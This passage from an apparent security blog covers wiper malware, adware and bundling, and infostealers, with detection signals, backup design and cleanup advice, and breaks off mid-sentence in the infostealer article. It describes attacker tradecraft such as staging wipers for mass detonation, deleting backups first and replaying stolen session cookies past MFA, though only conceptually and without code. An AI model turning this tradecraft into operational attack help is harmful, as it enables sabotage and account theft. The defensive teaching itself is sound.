that lives somewhere the wiper could not reach. ## Delivery is the same as any other malware Wipers do not arrive by magic. They are delivered and spread the same ways other intrusions are: phishing, stolen or weak credentials, exploited internet-facing services, supply-chain tampering, and lateral movement once inside. Frequently the wiper is the final stage of an intrusion that began quietly weeks earlier. The file that carries the payload is usually one of a small set of abused formats: a script, an archive, a malicious installer, a signed-but-tampered binary. Our File-Format Abuse Atlas catalogues those delivery formats and how to detect them, which is where you can break the chain before the destructive stage ever runs. Once the operator has access, spreading a wiper across a network uses the same lateral-movement tradecraft as ransomware, which is why segmentation and credential hygiene matter as much for destruction as for extortion. The crews that deploy destructive malware, and the state-aligned groups that favor it, are tracked in our Threat Groups directory, so you can map a wiper campaign to the actor behind it. ## How to defend and stay resilient You cannot assume prevention will hold every time, so the defensive center of gravity shifts from stopping the malware to surviving it. Resilience is the goal. 1. **Keep backups isolated and offline.** A backup reachable from the production network can be wiped in the same run. Follow a layered rule: multiple copies, on different media, with at least one copy offline or immutable and out of the network's reach. 2. **Make at least one copy immutable.** Write-once or object-lock storage means an attacker with full network access still cannot overwrite the backup within its retention window. 3. **Test restores, treat every backup as unproven until you recover from it.** An untested backup is a hope. Rehearse full recovery on a schedule so that when a wiper hits, the restore is a known procedure, not an experiment. 4. **Segment the network.** Limiting how far an attacker can move constrains how many systems a wiper can reach in a single deployment. 5. **Harden identity and access.** Phishing-resistant authentication, least privilege, and tight control of administrative credentials remove the access a wiper needs to spread widely. 6. **Have a rehearsed incident plan.** Know in advance how to isolate systems, who decides, and how recovery is sequenced. In a wiper event, speed and clarity in the first hour shape the whole outcome. The measure of a backup is not whether it exists but whether you have restored from it recently and timed how long a full recovery takes. Run a real restore drill, record the recovery time, and fix whatever breaks. That rehearsal is what turns a wiper from a disaster into an outage. Wipers strip away the transactional logic that makes ransomware negotiable. There is no key, no deal, and no undo. That makes them frightening, but it also clarifies the defense. You cannot buy your way out, so you build so that destruction on the production side is survivable: isolated immutable backups, a segmented network, and a recovery plan you have actually practiced. Get that right and a wiper becomes a bad day rather than an extinction event. ## A worked example: the timed detonation Walking through how a destructive campaign typically unfolds shows why the visible destruction is the last act rather than the first, and why the defensive opportunities all sit earlier. An operator gains an initial foothold, often weeks before anyone sees damage. The entry point is unremarkable: a phished credential, an exposed remote service, or a compromised vendor connection. From that foothold the operator moves quietly. They harvest more credentials, map the network, and locate the systems that matter, including domain controllers, file servers, and the backup infrastructure. None of this looks destructive, so it can pass as ordinary administrative traffic if no one is watching for the pattern. Then the operator prepares the payload for scale. A common approach is to stage the wiper on a central management system and push it to many machines at once, using the same software-distribution channels a legitimate administrator would use. Sometimes the payload is set to trigger at a chosen time so that many systems detonate together, maximising disruption and minimising the window for anyone to react. If backups are reachable from the network, the operator deletes or corrupts them first, so that when the wipe fires there is nothing to restore from. When it fires, the destruction is fast and often simultaneous across the estate. Files are overwritten, boot records are corrupted, and machines go dark. A ransom note may appear to misdirect the response. From the defender's chair the event feels sudden, but it was the visible end of a chain that had been running quietly for a long time. The walkthrough carries a clear lesson. By the time the wipe is visible, the decisions that determine the outcome have already been made: whether the intrusion was detected during the quiet phase, whether the network was segmented enough to limit spread, and whether at least one backup lived somewhere the operator could not reach. The destructive stage is loud, and every control that matters acts before it. ## How to detect a wiper before it fires Because the destructive stage is brief and final, useful detection targets the intrusion that precedes it and the preparation just before detonation. The concrete signals cluster in a few areas. Signals during the quiet intrusion phase: - Credential-harvesting behaviour, such as access to the memory of the local security authority process or to credential stores, followed by reuse of those credentials elsewhere. - Reconnaissance patterns: broad scanning of internal hosts, enumeration of shares, and queries against directory services from an account that does not normally do this. - Lateral movement using administrative protocols to hosts the source account rarely touches. - New or modified scheduled tasks and services on multiple machines, which points to staging for mass execution. Signals of imminent or active destruction: - Deletion or disabling of backups, shadow copies, and snapshots, a near-universal precursor to destructive and extortion attacks alike. - Stopping of backup, database, and security services across many hosts in a short window. - A single management or distribution system pushing an unknown binary to a large number of endpoints. - A burst of raw disk writes, boot-record modification, or mass file overwrites, which is the wipe itself and the last possible moment to isolate. - Many endpoints going offline together, especially outside a maintenance window. Across destructive and extortion incidents, one action recurs just before the payoff: the attacker deletes shadow copies, snapshots, and reachable backups so recovery is impossible. Treat any unexpected mass deletion or disabling of backups as a high-severity signal that the destructive stage is close, and wire an alert to it. It is one of the most reliable early warnings you can instrument. ## Wiper compared with ransomware and other destructive events The terms around destructive malware overlap, and the differences change how you respond. Placing them side by side makes the decision points clear. | Event type | Attacker goal | Is recovery by paying possible | Where the defense sits | |---|---|---|---| | Ransomware | Extortion payment | Sometimes, a key may exist | Prevention plus tested backups | | Wiper | Destruction or disruption | No, there is no key | Resilience: isolated immutable backups | | Pseudo-ransomware | Destruction disguised as extortion | No, the note is a decoy | Same as wiper, confirm recoverability early | | Ransomware with data theft | Payment plus leverage from stolen data | Partly, but data is already copied | Backups plus assuming the data is exposed | | Accidental mass deletion | None, it is an error | Depends on backups | Backups and change control | The table highlights the single most important early question in an incident: does a key exist and is recovery by any means other than backups actually possible. Ransomware and wipers can look identical at first, so confirming recoverability, rather than assuming it, is what keeps a response from being built around a payment that can never restore anything. ## Common misconceptions Several assumptions about wipers lead teams to prepare for the wrong thing. "A ransom note means we can pay to recover." Not necessarily. A wiper can display a convincing note while holding no key at all. The note is often theatre meant to slow you down. Confirm that decryption is genuinely possible before you treat payment as an option. "Our backups protect us." Only if they survive the attack. A backup that is online and reachable from the compromised network can be deleted or wiped in the same operation. Survivability comes from isolation and immutability, not from the backup merely existing. "Wipers are only a problem for governments and critical infrastructure." Destructive malware has hit ordinary organisations as collateral, as opportunistic sabotage, and as cover for other intrusions. Any organisation that an attacker wants to disrupt, or whose forensic evidence an attacker wants to destroy, is a candidate. "Encryption on our files means it was ransomware." Encryption is a means, not a motive. A wiper can encrypt files with a key it immediately discards, producing the same visible result as ransomware with none of the recoverability. The observable encryption tells you nothing about whether a key exists. "If we detect the wipe, we can stop it." Once the destructive stage fires, it is fast and often simultaneous across many machines. Detection at that moment limits spread at best. The intrusion phase before it is where detection actually changes the outcome. ## How the technique evolved Destructive malware is not new, and its shape has tracked attacker motives more than technology. Early destructive code was often crude and sometimes accidental, damage from malware that was buggy rather than deliberately ruinous. Over time, destruction became a deliberate instrument. State-aligned operations adopted wipers as a way to degrade an adversary's capacity without seeking payment, and the pseudo-ransomware pattern emerged, where a destructive payload wears an extortion costume to muddy attribution and delay response. Two developments stand out. First, wipers learned to target the boot process and raw disk structures, so that recovery had to contend with unbootable machines rather than only lost files. Second, destructive operators adopted the same tradecraft as extortion crews: quiet initial access, credential theft, lateral movement, and centralised mass deployment through legitimate management tools. The convergence means the early stages of a destructive campaign look the same as the early stages of a ransomware campaign, which is useful, because the detection and segmentation that catch one catch the other. The constant across every era is that destruction is the final act of an intrusion, and the intrusion is where it can be stopped. ## Designing backups that actually survive Because resilience is the real defense, it pays to be specific about what makes a backup survive a destructive attack, since most backup setups are built for accidental loss rather than a live adversary. An attacker with administrative reach behaves nothing like a failed disk. The widely used baseline is a layered copy rule: keep several copies of important data, store them on more than one type of media, and hold at least one copy off site. For destructive threats, two extra properties matter more than the count of copies. One copy must be offline or otherwise unreachable from the production network, so that an attacker with full domain access still cannot touch it. And one copy must be immutable within its retention window, using write-once or object-lock storage, so that even an account with delete rights cannot overwrite it before the window expires. A recovery goal of zero uncertainty comes from being able to say, with evidence, that at least one good copy exists beyond the attacker's reach at all times. Isolation and immutability address the two moves attackers make against backups. Isolation defeats the attacker who tries to reach the backup system over the network and delete it. Immutability defeats the attacker who has valid credentials to the backup platform itself and tries to shorten retention or overwrite the stored data. A setup that has only one of the two can still be defeated by the move it does not cover, which is why serious designs insist on both. Retention length is its own control. Destructive operators often sit in a network for weeks, so a backup window that only reaches back a few days can mean every retained copy already includes the attacker's staging. Retention long enough to predate the intrusion gives you a clean point to restore from, rather than restoring the compromise along with the data. Restoring a wiped estate is a sequence, not a single button. Rebuilding identity and directory services usually has to come before application and file servers, and clients come after that, or restored systems reauthenticate into a broken environment. Decide and rehearse the order in advance, including how you validate that a restored system is clean before it rejoins the network, so the recovery does not reintroduce the intrusion it is meant to undo. The measure of all of this is a timed, recent restore drill. A backup you have never restored is an assumption, and a wiper incident is the worst moment to discover the assumption was wrong. Rehearse a full recovery, record how long it takes, fix what breaks, and you convert destruction from a catastrophe into a scheduled outage. ## Frequently asked questions **What is the difference between a wiper and ransomware?** Intent, and whether recovery by paying is possible. Ransomware keeps a way to restore files because the operator wants to be paid. A wiper aims only to destroy, so it keeps no key and offers no real path back, even when it displays a ransom note as a decoy. **Why would an attacker destroy data instead of demanding money?** Because the goal is something other than direct profit: sabotage, disruption during a conflict, punishment of a target, or destroying forensic evidence on the way out of another intrusion. When the payoff is damage rather than money, extortion mechanics do not apply. **Can data destroyed by a wiper be recovered?** Generally not from the affected disk. Overwritten files, corrupted boot structures, and raw sector wipes leave little for on-disk recovery tools. Recovery depends almost entirely on a copy stored somewhere the wiper could not reach, which is why isolated, immutable backups are the core defense. **How do I tell a wiper from ransomware during an incident?** Do not assume from the note. Confirm whether working decryption and a valid key actually exist before building a response around payment. Independent analysis of the sample, and testing whether any files can genuinely be decrypted, is what separates a recoverable event from a destructive one. **Are backups enough to survive a wiper?** Only if they are isolated and immutable. Attackers routinely delete reachable backups and snapshots before detonating, so a backup on the production network can be destroyed with everything else. At least one copy must be offline or write-once and out of the network's reach, and you must have tested restoring from it. **Do wipers spread by themselves?** Not usually as their defining trait. A wiper is typically deployed across a network by an operator who already has access, using the same lateral-movement and mass-distribution methods as ransomware. Some destructive payloads include spreading logic, but the common pattern is a human-operated push from a central system. **What is the first thing to do if a wiper is detonating?** Isolate to limit spread, since the destruction is fast and often simultaneous. Disconnect affected segments, protect and verify your offline backups, and begin the rehearsed recovery procedure. Time spent negotiating with an attacker who has no key to sell is time not spent restoring. ## Related guides - [NotPetya Explained](/notpetya-explained) - [Ransomware Anatomy](/ransomware-anatomy) - [What Is a Logic Bomb](/what-is-a-logic-bomb) - [The 3-2-1 Backup Strategy Guide](/3-2-1-backup-strategy-guide) - [Nation-State Hacking Explained](/nation-state-hacking-explained) ### Sources - MITRE ATT&CK: Data Destruction (T1485) (MITRE): https://attack.mitre.org/techniques/T1485/ - MITRE ATT&CK: Disk Wipe (T1561) (MITRE): https://attack.mitre.org/techniques/T1561/ - CISA: Data Backup Options and Recovery Guidance (CISA): https://www.cisa.gov/ --- ## What Is Adware? Unwanted Ads, PUPs, and Bundling > Adware floods your device with ads, hijacks your browser, and tracks you. How it sneaks in through bundling, why it counts as a PUP, and how to clean it out. - URL: https://blog.pwnsy.com/what-is-adware - Date: 2026-07-24 - Updated: 2026-10-06 - Difficulty: beginner - Category: malware - Tags: adware, malware, pup, browser-hijacking, software-bundling - Related: [Malvertising Explained: Forced Redirects, Fake Download Ads and How They Get Through](https://blog.pwnsy.com/malvertising-explained), [HTML Smuggling Explained: Delivering Payloads Past the Gateway](https://blog.pwnsy.com/html-smuggling), [UEFI Firmware Security Explained: Secure Boot, TPMs and Bootkits](https://blog.pwnsy.com/uefi-firmware-security-explained) ### TL;DR - Adware is software that shows unwanted advertisements, injects ads into pages, or redirects your browser, usually while tracking your activity to target them. - Most adware arrives bundled with free software, slipped in through installers that pre-check extra offers you did not ask for. - It is often classed as a potentially unwanted program (PUP): not always outright malware, but unwanted, intrusive, and a drag on privacy and performance. - Cleanup means removing the adware and any bundled extras, resetting the browser, and being deliberate about how you install software in future. ### Key Takeaways - Adware's goal is ad revenue, earned through pop-ups, injected banners, redirects, and changed browser settings, while tracking you to target the ads. - The main delivery method is bundling: unwanted software packaged with a wanted free download and installed via the default express option. - Adware and PUPs blur the line between annoyance and threat. Aggressive variants track heavily, weaken security, and open the door to worse. - Using custom or advanced installation options and reading each screen defeats most bundling, since the extras rely on you clicking Next quickly. - Browser reset, reputable removal tools, and only downloading from official sources handle the vast majority of adware cleanly. Adware is the malware most people have actually met. It is the flood of pop-ups that appeared after installing a free PDF tool. The new browser homepage nobody chose. The banners injected into pages that never had them. It is rarely dramatic, and that is exactly how it survives: annoying enough to notice, ordinary enough to shrug off, and profitable enough to keep making. The business model is simple. Adware makes money by putting ads in front of you and tracking you to make those ads more valuable. Everything it does serves that goal, from the pop-ups to the browser changes to the quiet data collection running underneath. ## What adware does Adware ranges from mildly irritating to genuinely invasive, but the behaviours are consistent: - **Pop-up and pop-under ads** that appear outside the websites you visit, sometimes even when no browser is open. - **Injected advertisements** inserted into legitimate web pages, so ads appear where the real site never placed them. - **Browser hijacking**, changing your homepage, default search engine, or new-tab page to one the adware profits from. - **Redirects** that send you to advertising or affiliate pages instead of where you meant to go. - **Tracking**, quietly recording your browsing to profile you and target ads, which is where adware crosses into privacy-harming territory. On the desktop, much of this rides on a browser extension the adware installs, which maps to MITRE ATT&CK [Browser Extensions (T1176)](https://attack.mitre.org/techniques/T1176/). The extension is what lets it read and rewrite the pages you load. ## Adware and the PUP grey zone Adware is the poster child for the category security vendors call **potentially unwanted programs**, or PUPs. The name captures the ambiguity. A PUP is not always malware in the strict sense of code that broke in and did damage. Often you technically agreed to it, buried in an installer you clicked through. But it is unwanted, intrusive, and works against your interests, so security tools flag it even though it sits in a legal grey area. The reason the distinction matters is that PUP status is why adware is so widespread. Because it can present itself as a legitimate, consented install, it slips past defences and app-store rules that outright malware would trip. That grey area is the loophole the whole adware economy lives in. The line is not fixed, though. Aggressive adware tracks heavily, resists removal, weakens browser security settings, and can serve malicious ads that lead to real malware. At that end, the PUP label is too gentle for what the software is doing. ## Bundling: how adware gets in The dominant delivery method for adware is not an exploit or a phishing email. It is **bundling**: packaging unwanted software alongside a program you actually want, then installing it through the same wizard. The mechanics are designed around habit. You download a free utility. Its installer offers, in addition to the tool, a browser toolbar, a system optimiser, or a new search provider. The offers are pre-selected, and the fast path, the big Next button and the Express or Recommended option, accepts all of them. Decline them and you have to slow down, read each screen, and uncheck boxes. Most people click Next. | Install choice | What happens | |---|---| | Express or Recommended | Accepts bundled extras by default | | Custom or Advanced | Reveals and lets you decline each extra | | Clicking Next quickly | Silently opts into pre-checked offers | | Reading each screen | Catches the toolbars and pre-ticked boxes | The entire technique depends on speed and trust. It works because installers have trained us to click through them without reading. Slowing down is the counter. Adware bundling thrives on third-party download portals that wrap popular free software in their own installer, adding the extras. The same program from the developer's official site usually comes clean. Where you download from often decides whether you get adware, more than which program you chose. Go to the source. ## Signs you have adware - A sudden surge of **pop-ups**, including ones that appear outside your browser. - Your **homepage or default search engine changed** without your doing it. - **New toolbars or extensions** you do not remember installing. - The browser feeling **slow**, or pages loading with ads that were never there before. - **Redirects** taking you to unfamiliar search or ad pages. ## How to clean up and defend against adware Removal is usually straightforward, because adware is built to be profitable, not to be stealthy like a rootkit. 1. **Uninstall suspicious programs.** Go through installed applications and remove anything you do not recognise, especially items installed around the time the ads started. Sort by install date to find the culprits. 2. **Remove unknown browser extensions.** In each browser, review extensions and delete any you did not deliberately add. This is where most of the ad injection lives. 3. **Reset the browser.** Restore the homepage, search engine, and new-tab settings, and clear the changes the hijacker made. A full browser reset undoes most of its foothold. 4. **Run a reputable removal tool.** Established anti-malware and dedicated adware or PUP cleaners will find bundled components that a manual uninstall misses. 5. **Install with Custom or Advanced options.** For future installs, always choose the custom path, read each screen, and uncheck offers for toolbars, optimisers, and search providers. 6. **Download from official sources.** Get software from the developer's own site or an official app store, and avoid third-party portals that repackage installers with extras. Nearly all bundled adware relies on you taking the express installation path and clicking through pre-checked boxes. Choosing Custom or Advanced and actually reading each screen defeats the technique at the source. It costs thirty seconds and prevents the cleanup entirely. Adware sits at the mild end of a spectrum that runs through scareware and into genuine spyware, and the same bundling and deceptive-ad tactics carry all of them. To see how these deceptive delivery formats and installers are abused, our File-Format Abuse Atlas catalogues the installer and bundle formats that adware and its heavier cousins ride in on. Adware is easy to dismiss because it is more nuisance than crisis. But it tracks you, degrades your device, and is the thin end of a wedge that includes far worse. Treat it as a signal that something got in through a door you left open, close the door, and be deliberate about what you install. ## How adware makes money Every behaviour adware exhibits traces back to a revenue mechanism, and understanding the money explains why it does what it does. Ad networks pay publishers for impressions and clicks. Adware inserts itself as an uninvited publisher, so every injected banner and forced pop-up is an impression someone gets paid for. Because the ads run on your device and in your browser session, they inherit your logged-in state and your apparent legitimacy, which makes them worth more to the network than an anonymous ad slot. Search hijacking is its own revenue stream. When adware changes your default search engine or new-tab page to one it controls, it routes your queries through an intermediary that earns a share of the resulting ad revenue. You still get search results, so the change feels harmless, while every search quietly generates income for whoever installed the redirect. The same logic drives affiliate redirects, where a click meant for one destination is rewritten to carry an affiliate tag, so a commission is skimmed off purchases you would have made anyway. Data is the fourth stream. The browsing history, search terms, and profile that adware collects have resale value to data brokers and ad-targeting systems. This is the part that pushes adware from annoyance toward genuine privacy harm, because the tracking runs continuously in the background and the data outlives the adware itself once it has been sold on. If a piece of adware does something puzzling, ask which revenue stream it serves. A homepage change means search-referral income. An injected banner means impression income. A rewritten link means affiliate commission. Background tracking means data resale. Nothing adware does is random, and reading it through the money makes its next move predictable. ## A walkthrough of a typical bundling install The clearest way to see how adware arrives is to trace a routine free-software install where the deceptive design does its work. You search for a free media player and click a result that looks official but is actually a third-party download portal. The download is a small installer rather than the program itself, which is the first quiet signal. This stub installer is a wrapper the portal controls, and it decides what else gets offered alongside the software you wanted. You run it. The first screen shows a license agreement for the media player and a large, highlighted button labelled Express or Recommended. This is the fast path, and it is pre-selected. If you click it, the installer accepts a set of bundled offers whose checkboxes you never saw, because Express mode hides the screens where they would appear. Had you chosen Custom or Advanced instead, the installer would have walked you through additional screens: a browser extension offered by default, a system optimiser with its checkbox already ticked, a proposal to change your default search provider and homepage, each with a Decline option set in smaller, greyer text than the Accept. The design nudges every choice toward acceptance, and the sheer number of screens is meant to wear down your attention so you start clicking Next to be done. By the end, the media player is installed and working, which is what you came for and what stops you from suspecting anything. Running quietly alongside it are the extension, the optimiser, and the search redirect. The ads and homepage change appear over the following hours, disconnected enough from the install that many people never link the two. The technique succeeds precisely because the wanted software works perfectly, providing cover for everything that rode in with it. ## Detection signals Adware is built to be profitable rather than stealthy, so its signals are relatively visible once you know where to look. - **Ads appearing outside the browser**, including pop-ups on the desktop when no browser is open, which points to a resident program rather than a single malicious website. - **A homepage, new-tab page, or default search engine that changed** without your action, the classic browser-hijack fingerprint. - **Unfamiliar browser extensions or toolbars**, especially ones installed close in time to a recent free-software download. - **Injected ads on sites you trust**, such as banners on a page that has never carried them, which indicates something is rewriting pages as they load. - **New scheduled tasks, startup entries, or background processes** that reinstate settings you have tried to reset, a sign the adware is fighting removal. - **Browser or system slowdown** that started around a specific install, often caused by the extra ad-loading and tracking running on every page. - **Certificate or proxy changes**, where aggressive adware installs a root certificate or a local proxy so it can inject ads into encrypted pages, which is a serious escalation worth treating as more than a nuisance. ## Adware compared with related unwanted software Adware sits on a spectrum of intrusive software, and the neighbouring categories get conflated. The distinctions clarify how seriously to treat each and how to remove it. | Category | Primary goal | Typical delivery | Severity | |---|---|---|---| | Adware | Ad revenue and tracking | Bundling with free software | Low to moderate | | PUP (broad) | Various, often ads or upsells | Bundling, deceptive offers | Low to moderate | | Browser hijacker | Search and homepage revenue | Extensions, bundling | Moderate | | Scareware | Trick you into paying for a fake fix | Deceptive ads, fake alerts | Moderate | | Spyware | Covert surveillance and data theft | Bundling, exploits, trojans | High | Adware and browser hijackers overlap heavily, because changing your search and homepage is one of adware's favourite revenue tricks. Scareware borrows adware's deceptive-ad delivery but adds a fraud payload, pressuring you to buy a bogus product. Spyware is the serious end, where the tracking stops being about ad targeting and becomes covert surveillance. The same bundling and deceptive-install tactics carry all of them, which is why the install habits that stop adware also block its heavier relatives. ## Common misconceptions **"Adware is harmless, just annoying."** The ads are the visible part. The tracking underneath profiles your browsing and sells it, aggressive variants weaken your browser's security settings to inject ads, and some serve malicious ads that lead to real malware. The annoyance is the cover, not the whole story. **"I did not install anything, so it cannot be my fault."** In most cases you did install it, through a bundled offer accepted on an Express install path. That is by design. The technique relies on you consenting without realising, which is why reading each install screen matters. **"An ad blocker will fix it."** An ad blocker filters ads inside web pages, and it can hide some symptoms. It does not remove a resident program, an installed extension, or a hijacked homepage. The adware and its tracking keep running underneath. Removal, not filtering, is the fix. Ads that arrive through ordinary ad networks on pages you visit, with nothing installed, are a separate problem covered in [Malvertising Explained](/malvertising-explained). **"It came from the software I downloaded, so that software is malicious."** Usually the wanted program is clean at its official source, and the adware was added by a third-party download portal that repackaged the installer. Where you downloaded from is the deciding factor more often than which program you chose. **"A factory reset is the only way to be sure."** Adware rarely warrants that. Uninstalling the offending programs, removing unknown extensions, resetting the browser, and running a reputable removal tool clears the large majority of it. A reset is reserved for infections that resist all of that. ## How adware evolved Adware grew up alongside free, ad-supported software in the early consumer internet, when bundling advertising into a free download was a common and semi-legitimate business model. Some early adware was disclosed in the license agreement and treated as the price of a free tool, which is where the grey area began. The line between an ad-supported program and unwanted adware was blurry from the start, and it has stayed blurry on purpose. As browsers became the centre of computing, adware followed. Toolbars gave way to browser extensions, which offered far deeper access to read and rewrite pages, and search hijacking became a reliable revenue stream. Third-party download portals industrialised the bundling model, wrapping thousands of popular free programs in their own installers and monetising the extras. This is the era that gave adware its reputation and made the PUP label necessary, because security vendors needed a way to flag software that was unwanted without being clearly illegal malware. More recently the pressure has come from both sides. Browser makers and operating systems have tightened extension review, sandboxed pages more strictly, and made it harder to silently change default search or homepage settings. Adware has responded by getting more aggressive where it can, installing root certificates or local proxies to inject into encrypted traffic and adding persistence to survive removal. The core business model has not changed since the beginning. The delivery keeps adapting to whatever the platforms allow. ## Confirming the cleanup actually worked Removing adware is only half the job. The other half is confirming it is genuinely gone, because the aggressive variants are built to reinstate themselves and a symptom that stops for an hour is not proof of removal. Start by checking that your browser settings hold after a restart. Set your homepage, new-tab page, and default search engine back to what you want, close the browser fully, reopen it, and confirm nothing reverted. If a setting flips back on its own, a resident program or scheduled task is rewriting it, and the underlying component is still present. Next, review what runs at startup. Look through the list of programs that launch when the system boots and the scheduled tasks configured on the machine, and remove entries you do not recognise, paying attention to anything added around the time the ads began. This is where persistence hides, and clearing it is what makes the removal stick rather than pausing the symptoms. Then verify no local proxy or extra root certificate was left behind. Aggressive adware sometimes installs one of these to inject ads into encrypted pages, and it can outlive the visible adware. Check your system and browser proxy settings for anything you did not configure, and review installed certificates for unfamiliar entries. Removing these closes the deepest foothold adware tends to leave. Finally, run a reputable anti-malware or dedicated adware scanner after the manual cleanup, not before, so it catches leftover components a manual pass missed. When a full scan comes back clean, your settings survive a restart, and the ads have not returned across a normal day of use, the removal has held. ## Frequently asked questions **Is adware a virus?** Not in the strict sense. A virus self-replicates and spreads. Adware usually arrives through bundling and stays on the device that installed it. It is commonly classed as a potentially unwanted program rather than a virus, though aggressive variants blur into genuine malware. **How did adware get on my device if I did not install it?** Almost always through a bundled offer accepted during another program's installation, typically on the Express or Recommended path where the extra software is pre-selected and its screens are skipped. The consent is technically there, buried in a fast install flow designed to be clicked through. **Can adware steal my passwords or banking details?** Standard adware focuses on ads and browsing data rather than credentials. The risk is that aggressive adware weakens your security settings, tracks heavily, and can serve malicious ads that lead to malware which does steal credentials. Treat a heavy adware infection as a sign your device is exposed to worse. **Will resetting my browser remove adware?** A browser reset removes the hijacked homepage, search engine, and many malicious extensions, so it clears the browser-based part of most adware. It does not remove a resident program installed on the system itself. Combine a browser reset with uninstalling suspicious applications and a reputable removal tool. **Why do the ads come back after I remove them?** Because the resident program or a persistence mechanism is still present. Aggressive adware adds startup entries or scheduled tasks that reinstate its extension and settings after you clean them. You have to remove the underlying program and its persistence, not just the visible symptoms, for the removal to hold. **How do I avoid adware when installing free software?** Download from the developer's official site or an official app store rather than a third-party portal, choose the Custom or Advanced install option, read each screen, and decline offers for toolbars, optimisers, and search changes. The whole technique depends on you taking the fast path, so slowing down defeats it. **Is adware on mobile devices too?** Yes. On mobile it usually arrives as apps that show excessive ads, including out-of-app pop-ups, or that request broad permissions to serve and track ads. Sticking to official app stores, checking permissions, and removing apps that flood you with ads handles most of it. ## Related guides - [What Is Scareware](/what-is-scareware) - [Browser Hardening Guide](/browser-hardening-guide) - [Best Antivirus](/best-antivirus) - [What Is Spyware](/what-is-spyware) ### Sources - MITRE ATT&CK: Browser Extensions (T1176) (MITRE): https://attack.mitre.org/techniques/T1176/ - CISA: Security Tip on Recognizing and Avoiding Spyware (CISA): https://www.cisa.gov/ - NIST SP 800-83: Guide to Malware Incident Prevention and Handling (NIST): https://csrc.nist.gov/pubs/sp/800/83/r1/final --- ## What Is an Infostealer? The Malware Behind Most Breaches > Infostealers grab saved passwords, session cookies and crypto wallets in seconds, then sell the logs. How they work, why cookies defeat MFA, and how to defend. - URL: https://blog.pwnsy.com/what-is-an-infostealer - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: beginner - Category: malware - Tags: infostealer, malware, credential-theft, session-hijacking, threat-intel - Related: [Malvertising Explained: Forced Redirects, Fake Download Ads and How They Get Through](https://blog.pwnsy.com/malvertising-explained), [AitM Phishing Explained: How Reverse-Proxy Kits Bypass MFA](https://blog.pwnsy.com/aitm-phishing-explained), [ClickFix Attacks Explained: The Fake CAPTCHA That Runs Malware](https://blog.pwnsy.com/clickfix-attacks-explained) ### TL;DR - An infostealer is malware built to harvest credentials, session cookies, browser data, and crypto wallets from a machine quickly, then send them to the attacker. - The stolen session cookies are the dangerous part: they can let an attacker resume a logged-in session and walk straight past multi-factor authentication. - Stealers run a smash-and-grab: they usually execute once, exfiltrate a bundle called a log, and leave. Persistence is optional. - The stolen logs fuel a large criminal economy, feeding initial-access brokers who resell footholds into corporate networks. ### Key Takeaways - Infostealers are typically delivered through cracked software, fake updates, malvertising, and paste-a-command lures, not sophisticated exploits. - Because a stolen cookie represents an already-authenticated session, MFA does not stop its reuse; short session lifetimes and device binding do. - A single infection on a personal device with a saved corporate login has repeatedly been the root cause of major enterprise breaches. - Defense is layered: block the delivery, reduce what browsers store, shorten sessions, and monitor for stealer-log exposure of your domains. - Notable families come and go (RedLine, Raccoon, Vidar, Lumma, StealC, and the macOS Atomic Stealer), but the playbook stays the same. Ask people to picture malware and they imagine ransomware: locked screens, ransom notes, chaos. The quieter and arguably more consequential threat leaves no trace at all. Infostealers get in, copy your saved passwords, your logged-in session cookies and your crypto wallet, and are gone in seconds. You may never know it happened. Weeks later, someone logs into your accounts as you. Infostealers, or simply stealers, have become the engine behind a large share of modern breaches, because they solve the attacker's hardest problem cheaply: getting valid credentials. ## What a stealer actually takes An infostealer is purpose-built to grab high-value data fast. On a typical run it collects: - **Saved browser passwords** from the credential stores of Chrome, Edge, Firefox and others. - **Session cookies and tokens**, the files that keep you logged in without re-entering a password. - **Autofill data**: names, addresses, sometimes payment details. - **Cryptocurrency wallets** and browser wallet extensions. - **Files matching patterns** an operator cares about, like documents named for seed phrases or credentials. - **System and application data**: what is installed, messaging app sessions, VPN configs, sometimes screenshots. All of it is packaged into a bundle the criminal ecosystem calls a **log**, then exfiltrated to the operator. On MITRE ATT&CK the behaviour maps to [Credentials from Password Stores (T1555)](https://attack.mitre.org/techniques/T1555/) and [Steal Web Session Cookie (T1539)](https://attack.mitre.org/techniques/T1539/). ## Why the session cookie is the real prize Passwords are useful, but a well-defended account behind multi-factor authentication resists a stolen password alone. The stolen **session cookie** is what changes the game. When you log in and complete MFA, the service hands your browser a session token so it does not have to challenge you on every click. That token represents an already-authenticated session. If an attacker steals it and imports it into their own browser, they resume your session as though they had passed every check, because from the service's perspective, someone already did. This is why "we have MFA" is not a complete answer to infostealers. MFA protects the login. It does nothing about a session that is already open. Defeating cookie theft takes different controls: short session lifetimes, binding sessions to a device or IP, and re-authentication for sensitive actions. A recurring breach pattern: an employee saves a corporate login in a personal browser, installs cracked software at home, and gets a stealer infection. The log, sold for a few dollars, contains a working corporate session. Investigations into several large incidents have traced the root cause to exactly this chain. ## The smash-and-grab model Most stealers do not behave like the patient, persistent malware of espionage campaigns. They run a smash-and-grab. The typical lifecycle: 1. **Execute once** on the victim machine. 2. **Enumerate and collect** the browser stores, cookies, wallets and target files. 3. **Exfiltrate** the log to a server or chat-based drop. 4. **Leave**, often without installing persistence at all. Speed is the design goal. The less time on the machine, the smaller the detection window. Persistence is a liability, not a requirement, because the value was already extracted in the first few seconds. ## How infostealers spread Stealers rarely need clever exploits. They rely on getting a user to run them, through delivery that is social far more than technical: - **Cracked software and game cheats**, bundled with a stealer. - **Fake updates and fake installers** pushed through malvertising and poisoned search results. - **Paste-a-command lures** ("ClickFix" and fake CAPTCHA pages) that talk the user into running a script. - **Malicious attachments and links** in phishing, frequently wrapped in the same abused file formats attackers use for other payloads. That last point is worth pulling on. The file that delivers a stealer is usually one of a small set of abused formats: a script, an archive, a disk image, a malicious installer. Our File-Format Abuse Atlas catalogues those delivery formats and how to detect them, which is the same choke point where you stop a stealer before it runs. ## The stealer-log economy Infostealers are a business, and the product is the log. Operators run stealers as a service, and the harvested logs flow into marketplaces and channels where they are sorted, searched, and sold. Buyers include **initial-access brokers**, who mine logs for corporate credentials and resell the resulting foothold to ransomware crews and other groups. This is why a single stealer infection can end as a full network compromise weeks later, handled by an entirely different actor. To see who buys these footholds and what they do next, our Threat Groups directory tracks the ransomware cartels and access brokers that sit downstream of the stealer supply chain. Family names churn constantly (RedLine, Raccoon, Vidar, Lumma, StealC on Windows, Atomic Stealer on macOS), as operations get disrupted and rebrand. Chasing individual families is a losing game. The behaviour and the delivery are what stay constant, and what you defend against. ## How to defend against infostealers Because delivery is social and execution is fast, defense has to be layered across the whole chain: 1. **Cut off delivery.** Application control and sensible download policies stop cracked software and fake installers. User awareness of paste-a-command lures matters, because those bypass most technical controls. 2. **Store less in the browser.** Every saved password and live session is loot. A dedicated password manager with a 